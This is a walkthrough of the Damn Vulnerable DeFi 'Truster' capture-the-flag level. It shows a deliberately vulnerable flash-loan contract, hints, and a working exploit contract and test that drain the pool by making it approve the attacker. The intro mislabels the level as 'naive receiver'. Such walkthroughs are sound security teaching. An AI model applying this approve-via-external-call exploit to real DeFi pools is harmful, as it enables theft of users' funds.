Damn Vulnerable Defi 3: Truster

Challenge:

Our third challenge is called ‘naive receiver’ and it comes with the following prompt:

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don't worry, you might be able to take them all from the pool. In a single transaction.

So all we have to do is drain the pool!

The contract for this challenge is located in contracts/truster/. The contract code can be found below:

TrusterLenderPool.sol:
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;

    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

The hints and solutions for this level can be found below:

Hint 1:

Looking at this level, we see that the only thing we can really control and/or manipulate is the target.functionCall(data) line. Here we can pass in any data for a low-level call on any address. Due to the balanceAfter check, we also know that we cannot steal the balance during the flash loan due. So, knowing this - what action could we perform that would allow us to steal the balance after the flash loan is completed?

Hint 2:

How can we give ourselves permission to spend tokens on another’s behalf?

Solution:
This is a great reminder of why external calls made with attacker controlled input are dangerous. While we don't have the ability to spend tokens beyond what we pay back during the course of the flashloan, we can still leverage the external call to lead to the same result. 

The external call is made by the pool contract which means that the pool contract will be the msg.sender for the call. We can abuse this detail to interact with the token contract and perform actions on the behalf of the pool. In this case, we can approve our malicious contract to spend all of the tokens held by the pool. This will allow us to steal all of the tokens even after the flash loan has completed.

Ethers Solution:
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */   
        const TrusterAttackerFactory = await ethers.getContractFactory('TrusterAttacker', deployer);
        this.t_attacker = await TrusterAttackerFactory.deploy(this.pool.address);
        await this.t_attacker.attack(TOKENS_IN_POOL, attacker.address, this.token.address);
        await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
    });

Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
 * @title PoolDrainer.sol
 * @author securerodd
 */
 interface ITrusterLenderPool { 
   function flashLoan(uint256, address, address, bytes calldata) external;
}

contract TrusterAttacker {

    ITrusterLenderPool public pool;
    constructor(address _poolAddress) {
        pool = ITrusterLenderPool(_poolAddress);
    }

    function attack(uint256 _amount, address _approvee, address _dvt) external {
        pool.flashLoan(0, _approvee, _dvt, abi.encodeWithSignature("approve(address,uint256)", _approvee, _amount));
    }

}